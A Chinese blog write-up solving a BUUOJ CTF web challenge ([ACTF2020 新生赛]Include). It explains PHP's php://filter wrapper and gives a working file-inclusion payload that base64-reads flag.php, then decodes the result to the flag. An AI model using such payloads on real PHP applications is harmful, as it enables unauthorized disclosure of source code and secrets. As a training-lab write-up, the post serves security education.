随笔 - 51  文章 - 0  评论 - 4  阅读 - 19287

CTFer成长记录——CTF之Web专题·[ACTF2020 新生赛]Include

一、题目链接

https://buuoj.cn/challenges#[ACTF2020%20新生赛]Include

二、解法步骤

  打开网页:

  

  有趣的是无论是查看源代码还是bp抓包都一无所获,这题考的是php的filter伪协议进行文件包含:

  php://filter:(from https://blog.csdn.net/qq_42404383/article/details/107852190)

resource=<要过滤的数据流>   //这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>       //该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>      //该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<两个链的筛选列表>        //任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

   一般我们使用php://filter/read=convert.base64-encode/resource=flag.php来进行文件读写。其中:convert.base64-encode就是一个过滤器,后面的flag.php就是要过滤的数据流,也就是要读取的文件。转换过滤器:convet:就是转换。这里后面接上base64就是将文件内容转换成base64。

  于是我们构造payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

  获取:PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YjEyZDlmMDQtZjE4OC00NWMzLWEwMTktOTFhNWRhNGM1NjhjfQo=
  最后base64解密获得flag:flag{b12d9f04-f188-45c3-a019-91a5da4c568c}

三、总结

  本题涉及到了php中的filter过滤协议,如果从前端无论如何都找不到想要的信息,同时题目给了一定的暗示,例如include,你怎么也看不见我。就可以往filter上靠,尝试下。
  

posted on   MiracleWolf  阅读(153)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

点击右上角即可分享
微信分享提示